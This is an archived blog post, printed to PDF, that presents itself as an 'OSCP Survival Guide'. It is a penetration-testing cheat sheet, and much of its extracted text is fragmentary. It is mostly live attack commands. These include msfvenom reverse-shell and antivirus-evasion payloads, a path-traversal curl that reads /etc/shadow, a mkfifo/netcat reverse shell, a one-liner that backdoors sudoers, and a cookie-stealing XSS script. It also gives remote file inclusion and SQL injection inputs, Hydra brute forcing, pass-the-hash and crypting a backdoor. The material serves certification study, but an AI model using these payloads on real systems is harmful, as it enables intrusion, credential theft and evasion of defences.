x89k
x89k
Webpage Screenshot share download .zip report bug or abuse Buy me a coffee
OSCP-Survival-Guide
NOTE: This document refers to the target ip as the export variable $ip.
To set this value on the command line use the following syntax:
Table of Contents
Python, C, Reverse Engineering,
Security
Kali Linux
Information Gathering & Vulnerability Scanning
Passive Information Gathering
Series: Active Information Gathering
Reverse Engineering Port Scanning
Basics Enumeration
HTTP Enumeration
Malware With Python Buffer Overflows and Exploits
Shells
Projects File Transfers
Privilege Escalation
Contact: Linux Privilege Escalation
[email protected] Windows Privilege Escalation
Github/lduck11007 Client, Web and Password Attacks
Client Attacks
u/x89k
Web Attacks
File Inclusion Vulnerabilities LFI/RFI
Database Vulnerabilities
Password Attacks
Password Hash Attacks
Networking, Pivoting and Tunneling
The Metasploit Framework
Bypassing Antivirus Software
Kali Linux
Set the Target IP Address to the $ip system variable
export ip=192.168.1.100
Find a search for a file that contains a specific string in it’s name:
find / -name sbd\*
Change Password
passwd
Start a service
systemctl start ssh
https://archive.is/2019.01.16-232458/https://x89k.cf/infosec/2018/11/03/oscpsurvivalguide.html 1/33
2025/2/21 下午4:03 x89k
Stop a service
systemctl stop ssh
Unzip a gz file
gunzip access.log.gz
Download a webpage
wget http://www.cisco.com
Open a webpage
curl http://www.cisco.com
String manipulation
tail index.html
Collect all the IP Addresses from a log file and sort by frequency
cat access.log | cut -d " " -f 1 | sort | uniq -c | sort -urn
Download Netcat for Windows (handy for creating reverse shells and
transfering files on windows
systems):https://joncraton.org/blog/46/netcat-for-windows/
whereis nc
nc: /bin/nc.traditional /usr/share/man/man1/nc.1.gz
or
https://archive.is/2019.01.16-232458/https://x89k.cf/infosec/2018/11/03/oscpsurvivalguide.html 2/33
2025/2/21 下午4:03 x89k
Netcat for Banner Grabbing:
Wireshark
tcp.port eq 25 or icmp
ip.addr == xxx.xxx.xxx.xxx
Equals
ip.addr != xxx.xxx.xxx.xxx
Equals
Tcpdump
IPTables
```bash
iptables -P INPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
iptables -t nat -F
iptables -t mangle -F
iptables -F
iptables -X
iptables -t raw -F iptables -t raw -X
```
https://archive.is/2019.01.16-232458/https://x89k.cf/infosec/2018/11/03/oscpsurvivalguide.html 3/33
2025/2/21 下午4:03 x89k
Google inurl
inurl:"level/15/sexec/-/show"
Email Harvesting
Simply Email
git clone https://github.com/killswitch-GUI/SimplyEmail.git
Netcraft
whois $ip
Banner Grabbing
nc -v $ip 25
telnet $ip 25
nc TARGET-IP 80
cd /opt/recon-ng
./recon-ng
show modules
help
https://archive.is/2019.01.16-232458/https://x89k.cf/infosec/2018/11/03/oscpsurvivalguide.html 4/33
2025/2/21 下午4:03 x89k
Nmap stealth scan using FIN
nmap -sF $ip
Nmap Banner Grabbing
nmap -sV -sT $ip
Nmap OS Fingerprinting
nmap -O $ip
Enumeration Scan
nmap -p 1-65535 -sV -sS -A -T4 $ip/24 -oN nmap.txt
Enumeration Scan All Ports TCP / UDP and output to a txt file
nmap -oN nmap2.txt -v -sU -sS -p- -A -T4 $ip
Quick Scan:
nmap -T4 -F $ip/24
Quick traceroute
nmap -sn --traceroute $ip
Intense Scan:
nmap -T4 -A -v $ip
Ping scan
nmap -sn $ip/24
Scan with Active connect in order to weed out any spoofed ports designed to
troll you
nmap -p1-65535 -A -T5 -sT $ip
Enumeration
DNS Enumeration
Host Lookup
host -t ns megacorpone.com
https://archive.is/2019.01.16-232458/https://x89k.cf/infosec/2018/11/03/oscpsurvivalguide.html 5/33
2025/2/21 下午4:03 x89k
Dnsrecon DNS List of megacorp
dnsrecon -d megacorpone.com -t axfr
DNSEnum
dnsenum zonetransfer.me
NMap Enumeration Script List:
NMap Discovery
https://nmap.org/nsedoc/categories/discovery.html
SMB Enumeration
SMB OS Discovery
nmap $ip --script smb-os-discovery.nse
nmap -sV -Pn -vv -p 445 --script='(smb*) and not (brute or broadcast or dos or external o
enum4linux $ip
enum4linux -a $ip
OR
https://archive.is/2019.01.16-232458/https://x89k.cf/infosec/2018/11/03/oscpsurvivalguide.html 6/33
2025/2/21 下午4:03 x89k
POP3 Enumeration - Reading other peoples mail - You may find usernames
and passwords for email accounts, so here is how to check the mail using
Telnet
list
+OK 2 1807
1 786
2 1021
retr 1
Here is your login for remote desktop ... try not to forget it
this time!
username: billydean
password: PA$$W0RD!Z
snmpenum -t $ip
SNMPv3 Enumeration
nmap -sV -p 161 --script=snmp-info $ip/24
`curl http://$ip:10000//unauthenticated/..%01/..%01/..%01/..%0
1/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%0
1/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%0
1/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%0
1/..%01/..%01/..%01/..%01/..%01/..%01/etc/passwd`
`curl http://$ip:10000//unauthenticated/..%01/..%01/..%01/..%0
1/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%0
1/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%0
1/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%0
1/..%01/..%01/..%01/..%01/..%01/..%01/etc/shadow`
Linux OS Enumeration
https://archive.is/2019.01.16-232458/https://x89k.cf/infosec/2018/11/03/oscpsurvivalguide.html 7/33
2025/2/21 下午4:03 x89k
Determine the current version of Linux
cat /etc/issue
Determine more information about the environment
uname -a
List the allowed (and forbidden) commands for the invoking use
sudo -l
net users
ipconfig /all
route print
arp -A
netstat -ano
tasklist /SVC
net start
DRIVERQUERY
reg query
HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
reg query
HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
File Enumeration
/usr/bin/find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \\; 2>/dev
https://archive.is/2019.01.16-232458/https://x89k.cf/infosec/2018/11/03/oscpsurvivalguide.html 8/33
2025/2/21 下午4:03 x89k
Get handy linux file system enumeration script (/var/tmp)
wget https://highon.coffee/downloads/linux-local-enum.sh
chmod +x ./linux-local-enum.sh ./linux-local-enum.sh
HTTP Enumeration
Search for folders with gobuster:
gobuster -w /usr/share/wordlists/dirb/common.txt -u $ip
Nikto
nikto -h $ip
Get Options available from web server curl -vX OPTIONS vm/test
Recurse level 3
auxiliary/scanner/rservices/rsh_login
Finger Enumeration
finger @$ip
finger batman@$ip
https://archive.is/2019.01.16-232458/https://x89k.cf/infosec/2018/11/03/oscpsurvivalguide.html 9/33
2025/2/21 下午4:03 x89k
The OpenVAS Vulnerability Scanner
apt-get update
apt-get install openvas
openvas-setup
netstat -tulpn
Login at:
https://$ip:9392
Nmap Fuzzers:
MSFvenom
https://www.offensive-security.com/metasploit-unleashed/msfvenom/
Controlling EIP
locate pattern_create
pattern_create.rb -l 2700
locate pattern_offset
pattern_offset.rb -q 39694438
Use NASM to determine the HEX code for a JMP ESP instruction
/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
JMP ESP
00000000 FFE4 jmp esp
https://archive.is/2019.01.16-232458/https://x89k.cf/infosec/2018/11/03/oscpsurvivalguide.html 10/33
2025/2/21 下午4:03 x89k
Create a PE reverse shell and embed it into an existing executable
msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=4444 -f
exe -e x86/shikata_ga_nai -i 9 -x /usr/share/windows-binaries/plink.exe
-o shell_reverse_msf_encoded_embedded.exe
Create a PE Reverse HTTPS shell
msfvenom -p windows/meterpreter/reverse_https LHOST=$ip
LPORT=443 -f exe -o met_https_reverse.exe
Linux Buffer Overflows
Shells
Netcat Shell Listener
nc -nlvp 4444
Spawning a TTY Shell - Break out of Jail or limited shell You should almost
always upgrade your shell after taking control of an apache or www user.
You may encounter limited shells that use rbash and only allow you to
execute a single command per session. You can overcome this by
executing an SSH shell to your localhost:
echo os.system('/bin/bash')
/bin/sh -i
lua: os.execute('/bin/sh')
:set shell=/bin/bash:shell
https://archive.is/2019.01.16-232458/https://x89k.cf/infosec/2018/11/03/oscpsurvivalguide.html 11/33
2025/2/21 下午4:03 x89k
From within tcpdump
PHP powered web browser Shell b374k with file upload etc.
https://github.com/b374k/b374k
Linux
Windows
Mac
Web Payloads
PHP
msfvenom -p php/reverse_php LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > sh
OR
Then we need to add the <?php at the first line of the file so that it will execute
as a PHP webpage:
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
ASP
JSP
WAR
Scripting Payloads
Python
Bash
Perl
Shellcode
https://archive.is/2019.01.16-232458/https://x89k.cf/infosec/2018/11/03/oscpsurvivalguide.html 12/33
2025/2/21 下午4:03 x89k
Windows Based Shellcode
use exploit/multi/handler
set PAYLOAD <Payload name>
set LHOST <LHOST value>
set LPORT <LPORT value>
set ExitOnSession false
exploit -j -z
Once the required values are completed the following command will execute
your handler – ‘msfconsole -L -r ‘
SSH to Meterpreter: https://daemonchild.com/2015/08/10/got-ssh-creds-want-
meterpreter-try-this/
use auxiliary/scanner/ssh/ssh_login
use post/multi/manage/shell_to_meterpreter
SBD.exe
Shellshock
ssh -vvv
ssh -i noob noob@$ip '() { :;}; /bin/bash'
File Transfers
Post exploitation refers to the actions performed by an attacker, once some
level of control has been gained on his target.
Run a basic Python3 http server, great for serving up shells etc
python3 -m http.server
https://archive.is/2019.01.16-232458/https://x89k.cf/infosec/2018/11/03/oscpsurvivalguide.html 13/33
2025/2/21 下午4:03 x89k
Run a basic PHP http server
php -S $ip:80
Creating a wget VB Script on Windows:
https://github.com/erik1o6/oscp/blob/master/wget-vbs-win.txt
Windows file transfer script that can be pasted to the command line. File
transfers to a Windows machine can be tricky without a Meterpreter shell. The
following script can be copied and pasted into a basic windows reverse and
used to transfer files from a web server (the timeout 1 commands are required
after each new line):
C:\temp\cscript.exe webdl.vbs
Uploading Files
SCP
scp username1@source_host:directory1/filename1
username2@destination_host:directory2/filename2
Webdav with Davtest- Some sysadmins are kind enough to enable the
PUT method - This tool will auto upload a backdoor
https://github.com/cldrn/davtest
You can also upload a file using the PUT method with the curl
command:
And rename it to an executable file using the MOVE method with the
curl command:
https://archive.is/2019.01.16-232458/https://x89k.cf/infosec/2018/11/03/oscpsurvivalguide.html 14/33
2025/2/21 下午4:03 x89k
http://$ip/files/sh.php
[curl -s –data “cmd=chmod 777 /tmp/evil” http://$ip/files/sh.php
curl -s –data “cmd=bash -c /tmp/evil” http://$ip/files/sh.php
TFTP
mkdir /tftp
atftpd –daemon –port 69 /tftp
cp /usr/share/windows-binaries/nc.exe /tftp/
EX. FROM WINDOWS HOST:
C:\Users\Offsec>tftp -i $ip get nc.exe
FTP
apt-get update && apt-get install pure-ftpd
#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pw useradd offsec -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart
Packing Files
Ultimate Packer for eXecutables
upx -9 nc.exe
exe2bat - Converts EXE to a text file that can be copied and pasted
locate exe2bat
wine exe2bat.exe nc.exe nc.txt
Privilege Escalation
Password reuse is your friend. The OSCP labs are true to life, in the way that the
users will reuse passwords across different services and even different boxes.
Maintain a list of cracked passwords and test them on new machines you encounter.
Try the obvious - Maybe the user is root or can sudo to root:
id
sudo su
Here are the commands I have learned to use to perform linux enumeration
and privledge escalation:
What users can login to this box (Do they use thier username as thier
password)?:
What kernel version are we using? Do we have any kernel exploits for this
version?
uname -a
netstat -tulpn
https://archive.is/2019.01.16-232458/https://x89k.cf/infosec/2018/11/03/oscpsurvivalguide.html 15/33
2025/2/21 下午4:03 x89k
What files run as root / SUID / GUID?:
There are a few scripts that can automate the linux enumeration process:
https://www.securitysift.com/download/linuxprivchecker.py
https://github.com/rebootuser/LinEnum
wget https://highon.coffee/downloads/linux-local-enum.sh
Linux Privilege Exploit Suggester (Old has not been updated in years)
https://github.com/PenturaLabs/Linux_Exploit_Suggester
https://www.exploit-db.com/exploits/14814/
https://archive.is/2019.01.16-232458/https://x89k.cf/infosec/2018/11/03/oscpsurvivalguide.html 16/33
2025/2/21 下午4:03 x89k
./mempodipper
below are some quick copy and paste examples for various shells:
int main(void){
setresuid(0, 0, 0);
system("/bin/bash");
}
int main(void){
setresuid(0, 0, 0);
system("/bin/sh");
}
Create and compile an SUID from a limited shell (no file transfer)
Handy command if you can get a root user to run it. Add the www-data user to
Root SUDO group with no password requirement:
echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /
You may find a command is being executed by the root user, you may be able
to modify the system PATH environment variable to execute your command
instead. In the example below, ssh is replaced with a reverse shell SUID
connecting to 10.10.10.1 on port 4444.
set PATH="/tmp:/usr/local/bin:/usr/bin:/bin"
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.
10.10.1 4444 >/tmp/f" >> /tmp/ssh
chmod +x ssh
SearchSploit
./usr/share/linux-exploit-suggester/Linux_Exploit_Suggester.pl -k 3.0.0
https://www.kernel-exploits.com/
Try the obvious - Maybe the user is SYSTEM or is already part of the
Administrator group:
whoami
Try the getsystem command using meterpreter - rarely works but is worth a
try.
Copy and paste the following contents into your remote Windows shell in Kali
to generate a quick report:
https://archive.is/2019.01.16-232458/https://x89k.cf/infosec/2018/11/03/oscpsurvivalguide.html 18/33
2025/2/21 下午4:03 x89k
dir "C:\Program Files (x86)\"
timeout 1
dir "C:\Users\"
timeout 1
dir "C:\Users\Public\"
timeout 1
echo REPORT COMPLETE!
cadavar http://$ip
dav:/> put aspshell.txt
Uploading aspshell.txt to `/aspshell.txt':
Progress: [=============================>] 100.0% of 38468 byte
s succeeded.
dav:/> copy aspshell.txt aspshell3.asp;.txt
Copying `/aspshell3.txt' to `/aspshell3.asp%3b.txt': succeede
d.
dav:/> exit
curl http://$ip/aspshell3.asp;.txt
Windows Server 2003 and IIS 6.0 privledge escalation using impersonation:
https://www.exploit-db.com/exploits/6705/
https://github.com/Re4son/Churrasco
c:\Inetpub>churrasco
churrasco
/churrasco/-->Usage: Churrasco.exe [-d] "command to run"
Powershell Exploits - You may find that some Windows privledge escalation
exploits are written in Powershell. You may not have an interactive shell that
allows you to enter the powershell prompt. Once the powershell script is
uploaded to the server, here is a quick one liner to run a powershell command
from a basic (cmd.exe) shell:
MS16-032 https://www.exploit-db.com/exploits/39719/
https://archive.is/2019.01.16-232458/https://x89k.cf/infosec/2018/11/03/oscpsurvivalguide.html 19/33
2025/2/21 下午4:03 x89k
Windows Run As - Switching users in linux is trival with the SU command.
However, an equivalent command does not exist in Windows. Here are 3
ways to run a command as a different user in Windows.
scsiaccess.exe
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
Everyone:(I)(F)
https://archive.is/2019.01.16-232458/https://x89k.cf/infosec/2018/11/03/oscpsurvivalguide.html 20/33
2025/2/21 下午4:03 x89k
Find the GPP file: Groups.xml
dir /s Groups.xml
Review the contents for passwords
type Groups.xml
gpp-decrypt riBZpPtHOGtVk+SdLOmJ6xiNgFH6Gp45BoP3I6AnPgZ1IfxtgI67qqZfgh78kBZB
Find and display the proof.txt or flag.txt - get the loot!
Web Attacks
Web Shag Web Application Vulnerability Assessment Platform
webshag-gui
Web Shells
http://tools.kali.org/maintaining-access/webshells
ls -l /usr/share/webshells/
OWASP Dirbuster
nikto -h $ip
<javascript>
new image().src="http://$ip/bogus.php?output="+document.coo
https://archive.is/2019.01.16-232458/https://x89k.cf/infosec/2018/11/03/oscpsurvivalguide.html 21/33
2025/2/21 下午4:03 x89k
kie;
</script>
nc -nlvp 80
include("lang/".$_COOKIE['lang']);
include($_GET['page'].".php");
curl -s \
"http://$ip/?page=php://filter/convert.base64-encode/resour
ce=index" \
| grep -e '\[^\\ \]\\{40,\\}' | base64 -d
For a Remote File Inclusion look for php code that is not sanitized and
passed to the PHP include function and the php.ini file must be
https://archive.is/2019.01.16-232458/https://x89k.cf/infosec/2018/11/03/oscpsurvivalguide.html 22/33
2025/2/21 下午4:03 x89k
configured to allow remote files
include($_REQUEST["file"].".php");
Remote File Inclusion
http://192.168.11.35/addguestbook.php?name=a&comment=b&LANG=http://192.168.10.5/evil.txt
Database Vulnerabilities
Playing with SQL Syntax A great tool I have found for playing with SQL
Syntax for a variety of database types (MSSQL Server, MySql,
PostGreSql, Oracle) is SQL Fiddle:
http://sqlfiddle.com
http://rextester.com/l/mysql_online_compiler
Original Query
Injection Value
Resulting Query
Original Query
Injection Value
'-SLEEP(30); #
Resulting Query
Original Query
Injection Value
Resulting Query
Authentication Bypass
https://archive.is/2019.01.16-232458/https://x89k.cf/infosec/2018/11/03/oscpsurvivalguide.html 23/33
2025/2/21 下午4:03 x89k
name='wronguser' or 1=1;
name='wronguser' or 1=1 LIMIT 1;
http://192.168.11.35/comment.php?id=738)'
http://$ip/comment.php?id=738 order by 1
Create a backdoor
SQLMap Examples
Scan url for union + error based injection with mysql backend and use
a random user agent + database dump
Enumerate databases
https://archive.is/2019.01.16-232458/https://x89k.cf/infosec/2018/11/03/oscpsurvivalguide.html 24/33
2025/2/21 下午4:03 x89k
sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" -T "$TABLE" --dump
Specify parameter to exploit
Get OS shell
SQL query
NoSQLMap Installation
Often you can create an exception dump message with MongoDB using a
malformed NoSQLQuery such as:
Password Attacks
AES Decryption
http://aesencryption.net/
CIRT
http://www.cirt.net/passwords
http://www.governmentsecurity.org/articles/DefaultLoginsandPasswordsforNetworkedDevices.p
Virus.org
http://www.virus.org/default-password/
Default Password
http://www.defaultpassword.com/
Brute Force
Dictionary Files
https://archive.is/2019.01.16-232458/https://x89k.cf/infosec/2018/11/03/oscpsurvivalguide.html 25/33
2025/2/21 下午4:03 x89k
Word lists on Kali
cd /usr/share/wordlists
Key-space Brute Force
crunch 8 8 -t ,@@^^%%%
Password Profiling
https://archive.is/2019.01.16-232458/https://x89k.cf/infosec/2018/11/03/oscpsurvivalguide.html 26/33
2025/2/21 下午4:03 x89k
hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://$ip
Hydra brute force SMB user with rockyou:
and
3000 | LM | Operat
ing-Systems
1000 | NTLM | Operat
ing-Systems
Create a .hash file with all the hashes you want to crack puthasheshere.hash:
$1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/
Sample Hashes
http://openwall.info/wiki/john/sample-hashes
Identify Hashes
hash-identifier
https://archive.is/2019.01.16-232458/https://x89k.cf/infosec/2018/11/03/oscpsurvivalguide.html 27/33
2025/2/21 下午4:03 x89k
John the Ripper - Password Hash Cracking
john $ip.pwdump
Use Metasploit to exploit one of the SMB servers in the labs. Dump the
password hashes and attempt a pass-the-hash attack against another
system:
export SMBHASH=aad3b435b51404eeaad3b435b51404ee:6F403D3166024568403A94C3A6561896
cat /etc/rinetd.conf
HTTP Tunneling
http tunnel
On server side:
sudo hts -F <server ip addr>:<port of your app> 80 On client
side:
sudo htc -P <my proxy.com:proxy port> -F <port of your app> <server ip addr>:80 stunnel
Tunnel Remote Desktop (RDP) from a Popped Windows machine to your
network
Tunnel on port 22
https://archive.is/2019.01.16-232458/https://x89k.cf/infosec/2018/11/03/oscpsurvivalguide.html 28/33
2025/2/21 下午4:03 x89k
plink -l root -pw 23847sd98sdf987sf98732 -R 3389:<local host>:3389 <remote host> -P80
Tunnel Remote Desktop (RDP) from a Popped Windows using HTTP Tunnel
(bypass deep packet inspection)
netsh advfirewall firewall add rule name="3000" dir=in action=allow protocol=TCP localport
netsh advfirewall firewall add rule name="1080" dir=in action=allow protocol=TCP localport
netsh advfirewall firewall add rule name="1079" dir=in action=allow protocol=TCP localport
httptunnel_client.exe
VLAN Hopping
VPN Hacking
ike-scan
ike-scan TARGET-IP
ike-scan -A TARGET-IP
ike-scan -A TARGET-IP --id=myid -P TARGET-IP-key
ike-scan –M –A –n example\_group -P hash-file.txt TARGET-IP
psk-crack hash-file.txt
pskcrack
psk-crack -b 5 TARGET-IPkey
psk-crack -b 5 --charset="01233456789ABCDEFGHIJKLMNOPQRSTUV
WXYZabcdefghijklmnopqrstuvwxyz" 192-168-207-134key
psk-crack -d /path/to/dictionary-file TARGET-IP-key
PPTP Hacking
Port Forwarding/Redirection
SSH Pivoting
https://archive.is/2019.01.16-232458/https://x89k.cf/infosec/2018/11/03/oscpsurvivalguide.html 29/33
2025/2/21 下午4:03 x89k
DNS Tunneling
apt-get update
apt-get -y install ruby-dev git make g++
gem install bundler
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
bundle install
Run dnscat2:
ruby ./dnscat2.rb
dnscat2> New session established: 1422
dnscat2> session -i 1422
Target Machine:
https://downloads.skullsecurity.org/dnscat2/
https://github.com/lukebaggett/dnscat2-powershell/
Metasploit
MSF Syntax
Start metasploit
msfconsole
msfconsole -q
show -h
show auxiliary
Use a module
use auxiliary/scanner/snmp/snmp_enum
use auxiliary/scanner/http/webdav_scanner
use auxiliary/scanner/smb/smb_version
use auxiliary/scanner/ftp/ftp_login
use exploit/windows/pop3/seattlelab_pass
info
show options
run
Execute an Exploit
https://archive.is/2019.01.16-232458/https://x89k.cf/infosec/2018/11/03/oscpsurvivalguide.html 30/33
2025/2/21 下午4:03 x89k
exploit
Search for a module
hosts
db_nmap
services -p 443
Staged - sent in two parts Not have enough buffer space Or need to
bypass antivirus
MS 17-010 - EternalBlue
You may find some boxes that are vulnerable to MS17-010 (AKA.
EternalBlue). Although, not offically part of the indended course, this
exploit can be leveraged to gain SYSTEM level access to a Windows
box. I have never had much luck using the built in Metasploit
EternalBlue module. I found that the elevenpaths version works much
more relabily. Here are the instructions to install it taken from the
following YouTube video: https://www.youtube.com/watch?
v=4OHLor9VaRI
1. First step is to configure the Kali to work with wine 32bit
dpkg –add-architecture i386 && apt-get update && apt-get install
wine32 rm -r ~/.wine wine cmd.exe exit
sysinfo
getuid
search -f *pass*.txt
Upload a file
Download a file
shell
exit
https://archive.is/2019.01.16-232458/https://x89k.cf/infosec/2018/11/03/oscpsurvivalguide.html 31/33
2025/2/21 下午4:03 x89k
multi/handler to accept an incoming reverse_https_meterpreter
payload
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_https
set LHOST $ip
set LPORT 443
exploit
[*] Started HTTPS reverse handler on https://$ip:443/
mkdir -p ~/.msf4/modules/exploits/linux/misc
cd ~/.msf4/modules/exploits/linux/misc
cp /usr/share/metasploitframework/modules/exploits/linux/mi
sc/gld\_postfix.rb ./crossfire.rb
nano crossfire.rb
background
cp /usr/share/windows-binaries/Hyperion-1.0.zip
unzip Hyperion-1.0.zip
cd Hyperion-1.0/
i686-w64-mingw32-g++ Src/Crypter/*.cpp -o hyperion.exe
cp -p /usr/lib/gcc/i686-w64-mingw32/5.3-win32/libgcc_s_sjlj
-1.dll .
cp -p /usr/lib/gcc/i686-w64-mingw32/5.3-win32/libstdc++-6.d
ll .
wine hyperion.exe ../backdoor.exe ../crypted.exe
infosec (2)
oscp (1)
Engineering, Security
← Previous Next →
© 2018
https://archive.is/2019.01.16-232458/https://x89k.cf/infosec/2018/11/03/oscpsurvivalguide.html 32/33
2025/2/21 下午4:03 x89k
https://archive.is/2019.01.16-232458/https://x89k.cf/infosec/2018/11/03/oscpsurvivalguide.html 33/33